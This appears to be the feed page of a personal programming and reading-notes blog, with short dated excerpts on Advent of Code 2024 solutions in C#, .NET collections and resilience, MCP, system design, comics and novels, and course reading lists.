Everything Dead & Dying. Tate Brombal; Jacob Phillips. imagecomics.com . www.hoopladigital.com . 2025.

Characterization

JACK. Once upon a time, in a quiet, little town, there lived a farmer, and he was a good farmer. It was all he knew, after all. And the farmer worked his land from sunrise to sunset every single day. Tillin’ his fields, feedin’ his chickens, and collectin’ his harvest right on time. He was a good farmer, after all.

Dictionary-Based Implementation of Classes and Objects (Python)

Sat, 16 May 2026 00:00:00 +0000

implements a toy version of Python’s object system using dictionaries that contain references to properties, functions and other dictionaries. Consider two shapes, Square and Circle, with the methods perimeter, area, and density.

Objects

A function is an object, where the bytes in a function are instructions. For example:

def foo():
 print("in foo")

… creates an object in memory that contains instructions to print a string, and assigns that object to the variable foo.

Model Context Protocol (MCP)

Sat, 09 May 2026 00:00:00 +0000

MCP is written with LLM apps as the clients, not human end-users. It provides a set of conventions on how to agnostically provide context to LLM apps.

MCP 101

There are 3 key participants in the MCP architecture:

MCP Host: The AI application that manages one or more MCP clients, e.g., Claude Code, Copilot, etc.
MCP Client: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use.
MCP Server: A program that provides context to MCP clients.

So typically, the MCP server and the client are implementation details that the end user doesn’t really see. The user’s view is mediated by the MCP host.

Societal Effects of LLMs

Tue, 05 May 2026 00:00:00 +0000

Chatbot Ethics

Zuckerberg: But if you think something someone is doing is bad and they think it’s really valuable, most of the time in my experience, they’re right and you’re wrong. You just haven’t come up with the framework yet for understanding why the thing they’re doing is valuable and helpful in their life.

A user’s expectations on what is permissible for a bot to do. Grabbing their attention to sell them something, or guiding them out of a slump is fine. Lying, e.g., “come visit me” and using romantic overtones crosses a line. However, Meta has no restrictions against bots telling users they’re real people or proposing real-life social engagements.

Absolute Wonder Woman (2024 -)

Sun, 22 Mar 2026 00:00:00 +0000

Justice

DIANA. And for you, Harbinger Prime, Nemesis will be a particular hell. For she binds and burns in proportion to your sins… and your soul shines bright with the blood of the innocent. The burn you feel, Harbinger… Know that it is the result of the pain you have wrought on others. All you are feeling, you have earned. Accept Nemesis’s judgement of you.

Absolute Superman

Sat, 14 Mar 2026 00:00:00 +0000

Technocracy

KAL-EL. In the cities worked the klerics of the science league. Harnessing the energies of the red sun and the planet itself to fuel their insatiable hunger… for progress… at all costs.

TEACHER. You… wrote this? Yourself? That’s… Kal, the luminarium contains all knowledge of the science league from throughout Kryptonian history and can answer any question we might ever possibly ask.

AoC 2024 Day 16: Reindeer Maze

Mon, 09 Mar 2026 00:00:00 +0000

Data Parsing

The input is an $R \times C$ grid with # for a wall, S for the start tile, E for the end tile, and . for open spots.

Part One

The reindeer start at S facing East, and can move one tile at a time, increasing their score by 1 point. They can also rotate clockwise or counterclockwise 90 degrees at a time, increasing their score by 1000 points. What is the lowest score a Reindeer could possibly get?

Tons of Buttons

Thu, 05 Mar 2026 00:00:00 +0000

This page shows 100,000 buttons. Use https://www.curiosities.dev/computer-science/large-language-models/toy-pages/tons-of-buttons/?numButtons=1000 to show 1,000 buttons instead.

Click on a button to activate it. Click again to deactivate it. Activated buttons are highlighted in green. There are currently 0 activated buttons: {empty}.

AoC 2024 Day 15: Warehouse Woes

Sat, 28 Feb 2026 00:00:00 +0000

Parsing

########
#..O.O.#
##@.O..#
#...O..#
#.#.O..#
#...O..#
#......#
########

<^^>>>vv<v>>v<<
v^^>>><<v^^>>>^

@ denotes the robot, O denotes a box, and # denotes a wall. <^^>>>vv<v>>v<< describes the sequence of moves that the robot will attempt to make. Ignore the newlines within the move sequence. If there are any boxes in the way, the robot attempts to push them. However, if the action makes the robot or a box move into the wall, nothing moves.

Software Design By Example: A Tool-Based Introduction with JavaScript

Tue, 20 Jan 2026 00:00:00 +0000

Software Design by Example. A Tool-Based Introduction with JavaScript. Greg Wilson. third-bit.com . Accessed Jan 20, 2026.

Also contains exercises at the end of each chapter.

Systems Programming. List a directory. Callback functions. Anonymous functions. Select a set of files. Copying a set of files.

Asynchronous Programming. Manage async executions. How promises work. Chain operations. How real promises are different. Build tools with promises. Readability. Handle errors with async code.

Software Design By Example: A Tool-Based Introduction with Python

Tue, 20 Jan 2026 00:00:00 +0000

Software Design by Example. A Tool-Based Introduction with Python. Greg Wilson. third-bit.com . Accessed Jan 20, 2026.

✅ Objects and Classes. What is a natural way to represent real-world “things” in code, and how can we organize that code so that it’s easier to understand, test, and extend?

Finding Duplicate Files. Comparing each file to others is unworkably slow for large sets of files. How about generating a short label that depends only on the file contents and comparing that instead?

500 Lines or Less

Mon, 19 Jan 2026 00:00:00 +0000

The Architecture of Open Source Applications. 500 Lines or Less. aosabook.org . Accessed Jan 19, 2026.

Blockcode: A Visual Programming Toolkit. A well-done block language eliminates syntax errors, visually displays available components, and allows localization.

A Continuous Integration System. A dedicated system used to test new code.

Clustering by Consensus. A network protocol designed to support reliable distributed computation.

Architecture of Open Source Applications, Vol. 1

Mon, 19 Jan 2026 00:00:00 +0000

The Architecture of Open Source Applications. Volume 1. aosabook.org . Accessed Jan 19, 2026.

Asterisk. A server application for making, receiving, and performing custom processing of phone calls.

Audacity. A popular sound recorder and audio editor. One goal is that its user interface should be discoverable: people should be able to sit down without a manual and start using it right away.

Architecture of Open Source Applications, Vol. 2

Mon, 19 Jan 2026 00:00:00 +0000

The Architecture of Open Source Applications. Volume 2. aosabook.org . Accessed Jan 19, 2026.

Scalable Web Architecture and Distributed Systems. Key issues to consider when designing large websites, and some of the building blocks used to achieve these goals.

Firefox Release Engineering. Scripts and infrastructure decisions that comprise the complete Firefox rapid release system. Starting with builds and code signing, then customized partner and localization repacks, the QA process, and how we generate updates for every supported version, platform, and localization.

The Performance of Open Source Applications

Mon, 19 Jan 2026 00:00:00 +0000

The Architecture of Open Source Applications. The Performance of Open Source Applications. Tavish Armstrong. aosabook.org . Sep 26, 2013. Accessed Jan 19, 2026.

✅ High Performance Networking in Chrome. Many of the sites we use today are not just web pages, they are applications. How do we make the fastest browser? Notes .

From SocialCalc to EtherCalc. EtherCalc is an online spreadsheet system optimized towards simultaneous editing, using SocialCalc as its in-browser spreadsheet engine.

Babel, or the Necessity of Violence

Sat, 17 Jan 2026 00:00:00 +0000

Babel, or the Necessity of Violence. An Arcane History of the Oxford Translators' Revolution. R. F. Kuang. en.wikipedia.org . Aug 23, 2022. ISBN: 9780063021426 . Accessed Jan 17, 2026.

On Language

Language was always the companion of the empire, and as such, together they begin, grow, and flourish. And later, together, they fall.

AoC 2024 Day 14: Restroom Redoubt

Sat, 03 Jan 2026 00:00:00 +0000

Parsing

The input is a list of all robots’ current positions $p = (x, y)$ and velocities $v = (dx, dy)$, one robot per line, e.g.,

p=3,6 v=4,-7
p=9,2 v=-1,-2

$x$ represents the number of tiles away from the left wall, and similarly for $y$ from the top wall (when viewed from above). The top-left corner of the space is $(0, 0)$. The velocity is given in tiles per second.

C# Performance Tools

Fri, 02 Jan 2026 00:00:00 +0000

BenchmarkDotNet

Some work projects use BenchmarkDotNet as the .NET library for benchmarking. Getting familiar with it should pay dividends.

To run the benchmarks in the Day13ClawContraption class:

dotnet run -c Release -- -f '*Day13ClawContraption*'

A job describes how to run your benchmark, e.g, ID, environment, run settings. BenchmarkDotNet has a smart algorithm for choosing values like IterationCount, so you typically don’t need to specify those. Sample measurements for the default job:

Remarks on Numeric Types

Fri, 02 Jan 2026 00:00:00 +0000

Inconveniences of Unsigned Types in .NET

Languages like C++ come with convenient support for unsigned integer types where non-negative values make sense. std::size_t is the unsigned integer type of the sizeof and alignof operators. std::size_t is also used when indexing C++ containers.

In contrast, .NET tends to use signed integer types even where unsigned ones would be more intuitive, e.g.,

List<T>.Count returns an Int32
Indexing into a List<T> takes in an Int32 index

.NET is language independent. Languages like C#, F#, and Visual Basic target .NET implementations. The Common Language Specification (CLS) is the set of features that are common to all the languages. Of relevance is the fact that Byte, Int16, Int32, and Int64 are the only CLS-compliant integer types.

Children of Time

Sat, 27 Dec 2025 00:00:00 +0000

Children of Time. Adrian Tchaikovsky. ISBN: 978-1-4472-7328-8 .

I wish I had encountered a similar story back in 2012 when covering evolution in high school biology. It took me a while to appreciate that populations, and not individuals, evolve.

Of Self-Proclaimed Messiahs

Dr. Avrana Kern reminds me of ruthless pragmatists common in dystopian stories, e.g., Boy Wonder in “Alien: Earth”, Evelyn Maddox in “The Ark”, etc.

The Ultimate Hitchhiker's Guide to the Galaxy

Wed, 24 Dec 2025 00:00:00 +0000

The Hitchhiker’s Guide to the Galaxy

And then, one Thursday, nearly two thousand years after one man had been nailed to a tree for saying how great it would be to nice for a change, …

The thing that used to worry him most was the fact that people always used to ask him what he was looking so worried about.

Mr. Prosser’s accepted role was to tackle Arthur with the occasional new ploy such as the For the Public Good talk, or the March of Progress talk, the They Knocked My House Down Once You Know, Never Looked Back talk and various other cajoleries and threats.

CS 81n: Hackers and Heroes

Sun, 14 Dec 2025 00:00:00 +0000

Recreational Programming with
Hackers :
- Ch 1: The Tech Model Railroad Club
- Ch 2: The Hacker Ethic
- Ch 3: Spacewar
- Ch 4: Greenblatt and Gosper
- Ch 5: The Midnight Computer Wiring Society
- Ch 6: Winners and Losers
- Ch 7: Life
- The Last of the True Hackers
Margaret Hamilton, the Engineer Who Took the Apollo to the Moon
Rise of Worse Is Better
The Inner Ring
In the Beginning was the Command Line
Mathematical Games - The fantastic combinations of John Conway’s new solitaire game ’life’
Conway’s Game of Life - Wikipedia
Interviewing Principles
An Insider’s View of ‘Ciscogate’
More Tales From ‘Ciscogate’
What is Engineering?
Any 5 stories from Folklore

CS 81N: Hackers and Heroes. Keith Winstein. web.stanford.edu . Accessed Dec 14, 2025.
Racket. racket-lang.org . Accessed Dec 14, 2025.
Hackers: Heroes of the Computer Revolution. Steven Levy. 1984. ISBN: 978-0-385-19195-1 .
Margaret Hamilton, the Engineer Who Took the Apollo to the Moon | by Verne | Medium. verne.medium.com . Accessed Dec 14, 2025.
Rise of Worse Is Better. Richard Gabriel. www.dreamsongs.com . Accessed Dec 14, 2025.
The Inner Ring. CS Lewis. www.lewissociety.org . Accessed Dec 14, 2025.
In the Beginning was the Command Line. Neal Stephenson. web.stanford.edu . Accessed Dec 14, 2025.
Mathematical Games - The fantastic combinations of John Conway's new solitaire game 'life'. Martin Gardner. web.archive.org . Accessed Jun 2, 2009.
Conway's Game of Life - Wikipedia. en.wikipedia.org . Accessed Dec 14, 2025.
Four Principles. www.columbia.edu . Accessed Dec 14, 2025.
Information Security News: An Insider's View of 'Ciscogate'. Jennifer Granick. seclists.org . Aug 31, 2005. Accessed Dec 14, 2025.
[ISN] More Tales From 'Ciscogate'. Jennifer Granick. attrition.org . Accessed Dec 14, 2025.
What is Engineering: A Graphic Novel of Tech and Philosophy - SparkFun Learn. Mel Chua. learn.sparkfun.com . Accessed Dec 14, 2025.
Folklore.org: The Original Macintosh. www.folklore.org . Accessed Dec 14, 2025.

Shortest Paths in a Graph

Sun, 14 Dec 2025 00:00:00 +0000

A shortest path from vertex $s$ to vertex $t$ in an edge-weighted digraph is a directed path from $s$ to $t$ with the property that no other path has a lower weight.

A shortest-paths tree for a source $s$ is a subgraph containing $s$ and all the vertices reachable from $s$ that forms a directed tree rooted at $s$ such that every tree path is a shortest path in the digraph.

AoC 2024 Day 13: Claw Contraption

Sun, 07 Dec 2025 00:00:00 +0000

Parsing

The input is a list of machine configurations, where buttons $A$ and $B$ move the claw some distance $X$ and $Y$, and the location of the prize is specified.

Button A: X+43, Y+68
Button B: X+10, Y+36
Prize: X=4800, Y=6250

Button A: X+63, Y+41
Button B: X+89, Y+18
Prize: X=17648, Y=19276

namespace AoC2024;

using Vector = ClawContraption.Vector;
using Button = ClawContraption.Button;
using MachineConfig = ClawContraption.MachineConfig;
using DirectedEdge = ClawContraption.DirectedEdge;

public partial class ClawContraption
{
 public record struct Vector(long X, long Y);

 public record struct Button(Vector Delta, long TokenCost);

 public record struct MachineConfig(Button A, Button B, Vector Prize);

 public record struct DirectedEdge(Vector From, Vector To, long Cost);
}

public static class ClawContraptionExtensions
{
 public static Vector Move(this Vector vector, Button button) =>
 new(vector.X + button.Delta.X, vector.Y + button.Delta.Y);
 
 public static bool IsBeyondPrizeLocation(this Vector vector, MachineConfig config) =>
 vector.X > config.Prize.X || vector.Y > config.Prize.Y;
 
 public static IEnumerable<DirectedEdge> GetEdges(this Vector from, MachineConfig config)
 {
 var to = from.Move(config.A);
 if (!to.IsBeyondPrizeLocation(config))
 yield return new(from, to, config.A.TokenCost);
 
 to = from.Move(config.B);
 if (!to.IsBeyondPrizeLocation(config))
 yield return new(from, to, config.B.TokenCost);
 }
}

Part One

It costs $3$ tokens to push the $A$ button and $1$ token to push the $B$ button. What is the fewest tokens you would have to spend to win all possible prizes?

AoC 2024 Day 12: Garden Groups

Sun, 30 Nov 2025 00:00:00 +0000

Parsing

Each garden plot grows only a single type of plant indicated by a single letter. This $4 \times 4$ arrangement includes garden plots growing 5 different types of plants (labelled A, B, C, D, E).

AAAA
BBCD
BBCC
EEEC

The area of a region is the number of garden plots the region contains. The perimeter of a region is the number of sides of garden plots in the region that do not touch another garden plot in the same region. For example, the C plants are in a region with area $4$ and perimeter $8$.

AoC 2024 Day 11: Plutonian Pebbles

Sat, 29 Nov 2025 00:00:00 +0000

Parsing

The stones are in a line, with each stone having a number engraved on it.

namespace AoC2024;

public static partial class PlutonianPebbles
{
 public static IEnumerable<ulong> ReadStones(string filePath)
 {
 var line = File.ReadAllText(filePath).Trim();
 return line.Split().Select(ulong.Parse);
 }
}

The snippet below contains a subtle bug. The using statement disposes the StreamReader at the end of the scope . This happens before the IEnumerable<ulong> is consumed. However, because ReadLine eagerly reads the content, there is no exception thrown.

public static IEnumerable<ulong> ReadStones(string filePath)
{
 using StreamReader inputReader = new(filePath);
 return inputReader.ReadLine()?.Split().Select(ulong.Parse) ?? [];
}

Setup

Every time you blink, the stones each simultaneously change based on the first applicable rule in this list:

Playing Politics as a SWE

Mon, 24 Nov 2025 00:00:00 +0000

Macro-Economics: Interest Rates and You

In the 2010s, interest rates were near-zero; investors borrowed a lot of money and spent it on tech companies hoping for outsized returns. Companies desired to attract and retain talent; “literally anything” is worth spending money on to accumulate engineers.

In 2023, interest rates rose to ~5%. Tech companies now need to make money. If your work isn’t clearly connected to company profit, then your position is unstable and on the whims of an executive that personally values your work.

Thinking Like a Strong Engineer

Sun, 23 Nov 2025 00:00:00 +0000

Strong Engineers

Strong engineers can do things that weaker engineers just can’t, even with all the time in the world. Some examples of capabilities:

Solving very difficult bugs, e.g., race conditions across multiple services.
Delivering meaningful improvements to the thorniest parts of legacy codebases.
Making changes that require a big architectural rework.

At the top end of strongest engineers, capabilities become something like “improving the SOTA for LLMs”.

Regular engineers make the bulk of most companies. They solve 95% of bugs (normal, non-cursed bugs), deliver most JIRA tickets, and unstick themselves from dev env issues most of the time. They help. They do the work. They’re just not burning with ambition to excel at the next promo cycle. Probably have other things going on in their lives.

Collection Types in C#

Sat, 06 Sep 2025 00:00:00 +0000

Choosing a Collection Type

In summary, the use cases are:

Dictionary<TKey, TValue> for quick look-up by key.
List<T> for accessing items by index.
Queue<T> for first-in-first-out (FIFO) access where the element is discarded after use.
Stack<T> for last-in-first-out (LIFO) access where the element is discarded after use.
LinkedList<T> for sequential access from either the head or the tail.
ObservableCollection<T> to receive notifications when items are removed/added.
SortedList<TKey, TValue> for a collection sorted by keys and accessible by either key or index.
HashSet<T> and SortedSet<T> for a set for mathematical functions.
KeyedCollection<TKey, TItem> for items that have keys embedded in them; a hybrid between IList<T> and IDictionary<TKey, TValue>.

Generic and Non-Generic Collection Interfaces in C#

Sat, 06 Sep 2025 00:00:00 +0000

There are two main types of collections: non-generic (ICollection) and generic (ICollection<T>).

Non-generic collections only exist because .NET did not originally have generic data types. They shouldn’t be used because:

They are untyped at compile time. The frequent casting from object and the actual type is error-prone; it’s easy to put the wrong type in the wrong collection.
Value types need to be boxed as object, e.g., List<int> stores its data in an int[], which is more performant than using object[] as that requires boxing.

Random Page

Sun, 24 Aug 2025 00:00:00 +0000

AoC 2024 Day 04: Ceres Search

Sat, 23 Aug 2025 00:00:00 +0000

Problem

This word search allows words to be horizontal, vertical, diagonal, written backwards, or even overlapping other words. Here are a few ways XMAS might appear, where irrelevant characters have been replaced with .:

..X...
.SAMX.
.A..A.
XMAS.S
.X....

The actual word search will be full of letters instead. For example:

MMMSXXMASM
MSAMXMSMSA
AMXSXMAAMM
MSAMASMSMX
XMASAMXAMM
XXAMMXXAMA
SMSMSASXSS
SAXAMASAAA
MAMMMXMMMM
MXMXAXMASX

Parsing

namespace AoC2024;

public partial class CeresSearch
{
 private readonly char[,] grid;

 public CeresSearch(string filePath)
 {
 using StreamReader inputReader = new(filePath);
 List<char[]> rows = [];
 string? line;
 while((line = inputReader.ReadLine()) != null)
 rows.Add(line.ToCharArray());

 int rowCount = rows.Count;
 int colCount = rows.First().Length;

 grid = new char[rowCount, colCount];
 for (int r = 0; r < rowCount; r++)
 for (int c = 0; c < colCount; c++)
 grid[r, c] = rows[r][c];
 }
}

For $M \times N$ grids, C# has multi-dimensional arrays. These differ from jagged arrays, whose elements are arrays with possibly different sizes. In memory, multi-dimensional arrays are laid out as 1D arrays. When processing array data, cache locality impacts performance. If the computation needs to access multiple rows (e.g., image convolution, this problem), then multi-dimensional arrays offer an advantage. If processing row-by-row, then jagged arrays will also have cache locality. However, if the array is larger than 85Kb, then it ends in the large object heap, which is slower.

AoC 2024 Day 05: Print Queue

Sat, 23 Aug 2025 00:00:00 +0000

Parsing

The notation X|Y means that if both page number X and page number Y are to be produced as part of an update, page number X must be printed at some point before page number Y.

The input contains page ordering rules (pairs of X|Y) and print queues (e.g., 75, 47, 61, 53, 29).

using System.Collections.Immutable;
using System.Text.RegularExpressions;

namespace AoC2024;

public partial class PrintQueue
{
 public readonly Dictionary<int, HashSet<int>> orderingRules = [];
 public readonly ImmutableList<ImmutableList<int>> printJobs = [];

 public PrintQueue(string filePath)
 {
 using StreamReader inputReader = new(filePath);
 string? line;

 while ((line = inputReader.ReadLine()) != null)
 {
 var match = OrderingRuleRegex().Match(line);
 if (match is null || !match.Success)
 break;
 
 var p1 = int.Parse(match.Groups["p1"].Value);
 var p2 = int.Parse(match.Groups["p2"].Value);

 var existed = orderingRules.TryGetValue(p1, out var p1Rules);
 p1Rules ??= [];
 p1Rules.Add(p2);

 if (!existed)
 orderingRules.Add(p1, p1Rules);
 }

 var printJobsBuilder = printJobs.ToBuilder();
 while ((line = inputReader.ReadLine()) != null)
 {
 printJobsBuilder.Add(
 line.Split(",").Select(int.Parse).ToImmutableList());
 }
 printJobs = printJobsBuilder.ToImmutable();
 }

 [GeneratedRegex(@"(?<p1>\d+)\|(?<p2>\d+)")]
 private static partial Regex OrderingRuleRegex();
}

Part One

Determine which updates are already in the correct order. What do you get if you add up the middle page number from those correctly-ordered updates?

AoC 2024 Day 06: Guard Gallivant

Sat, 23 Aug 2025 00:00:00 +0000

Parsing

The map shows the current position of the guard with ^ (to indicate the guard is facing up from the perspective of the map). Any obstructions - crates, desks, alchemical reactors, etc., are shown as #.

.	.	.	.	#	.	.	.	.	.
.	.	.	.	.	.	.	.	.	#
.	.	.	.	.	.	.	.	.	.
.	.	#	.	.	.	.	.	.	.
.	.	.	.	.	.	.	#	.	.
.	.	.	.	.	.	.	.	.	.
.	#	.	.	^	.	.	.	.	.
.	.	.	.	.	.	.	.	#	.
#	.	.	.	.	.	.	.	.	.
.	.	.	.	.	.	#	.	.	.

using System.Collections.Immutable;

namespace AoC2024;

public partial class GuardGallivant
{
 public enum Orientation { Up, Right, Down, Left }
 public readonly record struct Coordinate(int R, int C);
 public readonly record struct Visit(Coordinate Coordinate, Orientation Orientation);
 
 public readonly (int RowCount, int ColCount, HashSet<Coordinate> Obstacles) AreaMap;
 public readonly Visit StartingPosition;

 public GuardGallivant(string filePath)
 {
 using StreamReader inputReader = new(filePath);
 
 HashSet<Coordinate> obstacles = [];
 Visit? maybeStartingPosition = null;

 string? line;
 int r = 0;
 int colsCount = 0;
 while((line = inputReader.ReadLine()) is not null)
 {
 var cols = line.ToCharArray().Index().ToList();
 cols
 .ForEach(pair => {
 Coordinate coordinate = new(r, pair.Index);
 if (IsObstacle(pair.Item))
 {
 obstacles.Add(coordinate);
 return;
 }

 if (ToOrientation(pair.Item) is not Orientation orientation)
 return;
 
 if (maybeStartingPosition is not null)
 throw new ArgumentException(
 $"Multiple starting positions detected at {maybeStartingPosition} and {(r, pair.Index, orientation)}");
 
 maybeStartingPosition = new Visit(coordinate, orientation);
 });
 
 if (colsCount != 0 && cols.Count != colsCount)
 throw new ArgumentException($"Illegal grid. Found differing column counts: {colsCount} vs. {cols.Count}");
 
 colsCount = cols.Count;
 r++;
 }

 if (maybeStartingPosition is not Visit startingPosition)
 throw new ArgumentException("No starting position found");

 StartingPosition = startingPosition;
 AreaMap = new(r, colsCount, obstacles);
 }

 private static bool IsObstacle(char c) => c == '#';

 private static Orientation? ToOrientation(char c) => c switch
 {
 '^' => Orientation.Up,
 '<' => Orientation.Left,
 '>' => Orientation.Right,
 'v' => Orientation.Down,
 _ => null,
 };

 private char ToCharVisualization(Coordinate coordinate)
 {
 if (AreaMap.Obstacles.Contains(coordinate))
 return '#';
 
 if (coordinate == StartingPosition.Coordinate)
 {
 return StartingPosition.Orientation switch {
 Orientation.Up => '^',
 Orientation.Left => '<',
 Orientation.Right => '>',
 Orientation.Down => 'v',
 _ => throw new ArgumentException(
 $"Unrecognized orientation {StartingPosition.Orientation}")
 };
 }

 return '.';
 }

 private void VisualizeMapWithGuardMovement(HashSet<Visit> visits)
 {
 HashSet<Coordinate> visitedCoordinates = [.. visits.Select(v => v.Coordinate)];
 for (int r = 0; r < AreaMap.RowCount; r++)
 {
 for (int c = 0; c < AreaMap.ColCount; c++)
 {
 Coordinate coordinate = new(r, c);
 char representation = visitedCoordinates.Contains(coordinate)
 ? 'X'
 : ToCharVisualization(coordinate);
 Console.Write(representation);
 }
 Console.WriteLine();
 }
 }
}

Part One

The guard follows a strict patrol protocol which involves repeatedly following these steps:

AoC 2024 Day 07: Bridge Repair

Sat, 23 Aug 2025 00:00:00 +0000

Parsing

Each line represents a single equation, e.g., 292: 11 6 16 20.

Part One needs to make a decision based on each line independently. Parsing each line into a data structure and yielding that should suffice.

using System.Collections.Immutable;
using System.Text.RegularExpressions;

namespace AoC2024;

public partial class BridgeRepair
{
 public static IEnumerable<CalibrationEquation> Parse(string filePath)
 {
 using var inputReader = new StreamReader(filePath);

 string? line;
 while ((line = inputReader.ReadLine()) != null)
 {
 var numbers = InputLineRegex.Matches(line)
 .Select(match => long.Parse(match.Value));
 yield return new(numbers.First(), numbers.Skip(1).ToImmutableList());
 }
 }

 public readonly record struct CalibrationEquation(
 long Result, ImmutableList<long> Operands);

 private static Regex InputLineRegex = NumbersRegex();

 [GeneratedRegex(@"\d+")]
 static private partial Regex NumbersRegex();
}

Part One

Using only add and multiply, evaluated left-to-right (not according to math precedence rules), determine which equations could possibly be true. For example, $292 = ((11 + 6) \times 16) + 20$. Of the equations that could possibly be true, what is the sum of their results?

AoC 2024 Day 08: Resonant Collinearity

Sat, 23 Aug 2025 00:00:00 +0000

Parsing

Each antenna in the map is tuned to a frequency indicated by a single lowercase letter, uppercase letter, or digit.

Two antennas with the same frequency create two collinear antinodes on either side where one of the antennas is twice as far away as the other, e.g.

.	.	.	.	.	.	.	.	.	.
.	.	.	#	.	.	.	.	.	.
.	.	.	.	.	.	.	.	.	.
.	.	.	.	f	.	.	.	.	.
.	.	.	.	.	.	.	.	.	.
.	.	.	.	.	f	.	.	.	.
.	.	.	.	.	.	.	.	.	.
.	.	.	.	.	.	#	.	.	.
.	.	.	.	.	.	.	.	.	.
.	.	.	.	.	.	.	.	.	.

Antinodes can occur at locations that contain other antennas.

Part One requires computing locations of antinodes. Given antennas with frequency $f$, I need to pairwise match them and compute their antinodes. Being able to group all such antennas is useful for this puzzle.

Resilient App Development in .NET

Sat, 19 Jul 2025 00:00:00 +0000

Microsoft.Extensions.Resilience and Microsoft.Extensions.Http.Resilience provide resilience mechanisms against transient failures. These two packages are built on top of the open-source Polly resilience library.

Build a Resilience Pipeline

Given a ServiceCollection services, configure a keyed resilience pipeline as follows:

const string key = "Retry-Timeout";

services.AddResiliencePipeline(key, static builder =>
{
 builder.AddRetry(new RetryStrategyOptions
 {
 ShouldHandle = new PredicateBuilder().Handle<TimeoutRejectedException>()
 });
 builder.AddTimeout(TimeSpan.FromSeconds(1.5));
});

Other Add* extension methods include AddCircuitBreaker, AddRateLimiter, AddConcurrencyLimiter, AddFallback, and AddHedging.

Using AddResiliencePipeline separates the pipeline’s definition from its usage points where it’s injected. This allows for convenient unit testing, e.g., supplying ResiliencePipeline<T>.Empty for faster and less complicated tests.

System Design Interview

Sat, 12 Jul 2025 00:00:00 +0000

System Design Interview. Alex Xu. ISBN: 979-8664653403 .

Scale from Zero to Millions of Users: single-server setup; database; vertical scaling vs. horizontal scaling; load balancer; database replication; cache; content delivery network (CDN); stateless web tier; data centers; message queue; logging, metrics, and automation; database scaling.
Back-of-the-envelope Estimation: power of 2; latency numbers every programmer should know; availability numbers.
A Framework for System Design Interviews: understand the problem and establish design scope; propose high-level design and get buy-in; design deep dive; wrap up.
Design a Rate Limiter: where to put the rate limiter; algorithms for rate limiting (token bucket, leaking bucket, fixed window counter, sliding window log, sliding window counter); rate-limiting rules; exceeding the rate limit; rate limiter in a distributed environment; performance optimization; monitoring.
Design Consistent Hashing: the rehashing problem; hash space and hash ring; hash servers; hash keys; adding a server; removing a server; virtual nodes; find affected keys.
Design a Key-Value Store: single-server key-value store; distributed key-value store (consistency, availability, partition tolerance); real-world distributed systems; data partition; data replication; consistency; inconsistency resolution; handling failures; system architecture diagram; write path; read path.
Design a Unique ID Generator in Distributed Systems: multi-master replication; UUIDs; ticket server; Twitter snowflake approach; timestamp; sequence number.
Design a URL Shortener: back of the envelope estimation; API endpoints; URL redirecting; URL shortening; data model; hash function.
Design a Web Crawler: back of the envelope estimation; seed URLs; URL frontier; HTML downloader; DNS resolver; content parser; content seen?; content storage; URL extractor; URL filter; URL storage; web crawler workflow; depth-first search vs. breadth-first search; distributed crawl; cache DNS resolver; locality; short timeout; robustness; extensibility; detect and avoid problematic content.
Design a Notification System: notification types (push, SMS, email); contact gathering flow; notification send/receiving flow; prevent data loss; exactly one delivery?; notification template; notification setting; rate limiting; retry mechanism; security in push notifications; monitor queued notifications; events tracking.
Design a News Feed System: newsfeed APIs; feed publishing; web servers; fanout service; newsfeed building; newsfeed retrieval; cache architecture.
Design a Chat System: polling; long-polling; web socket; stateless vs. stateful services; 3P integration; scalability; storage; message table for 1:1 chat; message table for group chat; service discovery; message flows; message synchronization; online presence.
Design a Search Autocomplete System: query service; trie data structure; limit max length of a prefix; cache top queries at each node; data gathering service; aggregators; trie operations; scaling storage.
Design YouTube: video uploading flow; video streaming flow; video transcoding; directed acyclic graph (DAG) model; parallel video uploading; place upload centers close to users; parallelism everywhere; pre-signed upload URLs; protecting copyrighted videos; content delivery network; error handling.
Design Google Drive: APIs; move away from single server; sync conflicts; block servers; high consistency; metadata database; upload flow; download flow; notification service; save storage space; failure handling.
The Learning Continues:

CS 329A: Self-Improving AI Agents

Fri, 11 Jul 2025 00:00:00 +0000

Stanford CS329A | Self-Improving AI Agents. Azalia Mirhoseini; Aakanksha Chowdhery; Mert Yuksekgonul; Jon Saad-Falcon. cs329a.stanford.edu . Accessed Jul 11, 2025.

Test-time Compute Scaling
- Large Language Monkeys: Scaling Inference Compute with Repeated Sampling
- Archon; An Architecture Search Framework for Inference-Time Techniques
- Scaling LLM Test-Time Compute Optimally Can Be More Effective Than Scaling Model Parameters
Self-Improvement Techniques with Verifiers:
- Training Verifiers to Solve Math Word Problems
- Let’s Verify Step by Step
- Math-Shepherd: Verify and Reinforce LLMs Step-by-step Without Human Annotations
Self-Improvement Techniques with RL
- Constitutional AI: Harmlessness from AI Feedback
- STaR: Bootstrapping Reasoning With Reasoning
- Beyond Human Data: Scaling Self-Training for Problem-Solving with Language Models
Self-Improvement Techniques with Search
- Thinking Fast and Slow with Deep Learning and Tree Search
- Competitive-level Code Generation with AlphaCode
- AlphaCode 2 Technical Report
Open-ended Agent Learning in the Era of Foundation Models
- The AI Scientist: Towards Fully Automated Open-Ended Scientific Discovery
- Automated Design of Agentic Systems
Augmenting LLMs with Tool Use/Actions
- ReAct: Synergizing Reasoning and Acting in Language Models
- Toolformer: Language Models Can Teach Themselves to Use Tools
- RLEF: Grounding Code LLMs in Execution Feedback with Reinforcement Learning
Planning and Multi-Step Reasoning
- Language Agent Tree Search Unifies Reasoning, Acting, and Planning in Language Models
- LLMs Still Can’t Plan; Can LRMs? A Preliminary Evaluation of OpenAI’s o1 on PlanBench
- ADaPT: As-Needed Decomposition and Planning with Language Models
Reasoning Across Modalities
- Navigating the Digital World as Humans Do: Universal Visual Grounding for GUI Agents
- Developing a Computer Use Model
- The Dawn of GUI Agent: A Preliminary Study with Claude 3.5 Computer Use
Benchmarks and Challenges in Evaluating Agents
- SWE-bench: Can Language Models Resolve Real-World GitHub Issues?
- KernelBench: Can LLMs Write GPU Kernels?
- RE-Bench: Evaluating Frontier AI R&D Capabilities of Language Models Against Human Experts
- MLE-Bench: Evaluating Machine Learning Agents on Machine Learning Engineering
- $\tao$-bench: A Benchmark for Tool-Agent-User Interaction in Real-World Domains
- GAIA: A Benchmark for General AI Assistants
AI Coding Agents
- SWE-Agent: Agent-Computer Interfaces Enable Automated Software Engineering
- SWE-Search: Enhancing Software Agents with Monte Carlo Tree Search and Iterative Refinement
- SWE-bench Multimodal: Do AI Systems Generalize to Visual Software Domains?
Agent Orchestration Frameworks
- AutoGen: Enabling Next-Gen LLM Applications via Multi-Agent Conversation
